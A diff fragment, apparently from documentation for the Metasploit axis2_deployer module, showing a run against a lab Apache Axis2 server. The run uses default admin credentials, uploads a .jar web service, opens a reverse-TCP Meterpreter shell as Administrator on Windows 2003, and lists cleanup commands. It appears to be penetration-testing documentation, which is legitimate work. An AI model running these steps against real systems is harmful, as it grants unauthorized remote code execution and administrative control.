@@ -29,30 +29,34 @@ msf exploit(axis2_deployer) > set USERNAME admin
29
29
USERNAME => admin
30
30
msf exploit(axis2_deployer) > set PASSWORD admin123
31
31
PASSWORD => admin123
32
- msf exploit(axis2_deployer) > show options
32
+ msf exploit(axis2_deployer) > exploit
33
33
34
- Module options (exploit/multi/http/axis2_deployer):
34
+ [*] Started reverse TCP handler on 10.10.155.39:4444
35
+ [+] http://10.10.155.37:8080/axis2/axis2-admin [Apache-Coyote/1.1] [Axis2 Web Admin Module] successful login 'admin' : 'axis2'
36
+ [*] Successfully uploaded
37
+ [*] Polling to see if the service is ready
38
+ [*] Sending stage (30355 bytes) to 10.10.155.37
39
+ [*] Meterpreter session 3 opened (10.10.155.39:4444 -> 10.10.155.37:1750) at 2017-03-26 23:33:19 -0500
35
40
36
- Name Current Setting Required Description
37
- ---- --------------- -------- -----------
38
- PASSWORD admin123 no The password for the specified username
39
- PATH /axis2 yes The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)
40
- Proxies no A proxy chain of format type:host:port[,type:host:port][...]
41
- RHOST 10.10.155.37 yes The target address
42
- RPORT 8080 yes The target port
43
- SSL false no Negotiate SSL/TLS for outgoing connections
44
- USERNAME admin no The username to authenticate as
45
- VHOST no HTTP server virtual host
41
+ [*] NOTE: You will need to delete the web service that was uploaded.
46
42
43
+ [*] Using meterpreter:
44
+ [*] rm "webapps/axis2/WEB-INF/services/mdLFvgMv.jar"
47
45
48
- Exploit target:
46
+ [*] Using the shell:
47
+ [*] cd "webapps/axis2/WEB-INF/services"
48
+ [*] del mdLFvgMv.jar
49
49
50
- Id Name
51
- -- ----
52
- 0 Java
53
50
54
- msf exploit(axis2_deployer) > exploit
51
+ meterpreter > getuid
52
+ Server username: Administrator
53
+ meterpreter > sysinfo
54
+ Computer : juan-6ed9db6ca8
55
+ OS : Windows 2003 5.2 (x86)
56
+ Meterpreter : java/java
57
+ meterpreter > exit
58
+ [*] Shutting down Meterpreter...
55
59
56
- [*] Started reverse TCP handler on 10.10.155.39:4444
60
+ [*] 10.10.155.37 - Meterpreter session 3 closed. Reason: User exit
57
61
58
62
```
0 commit comments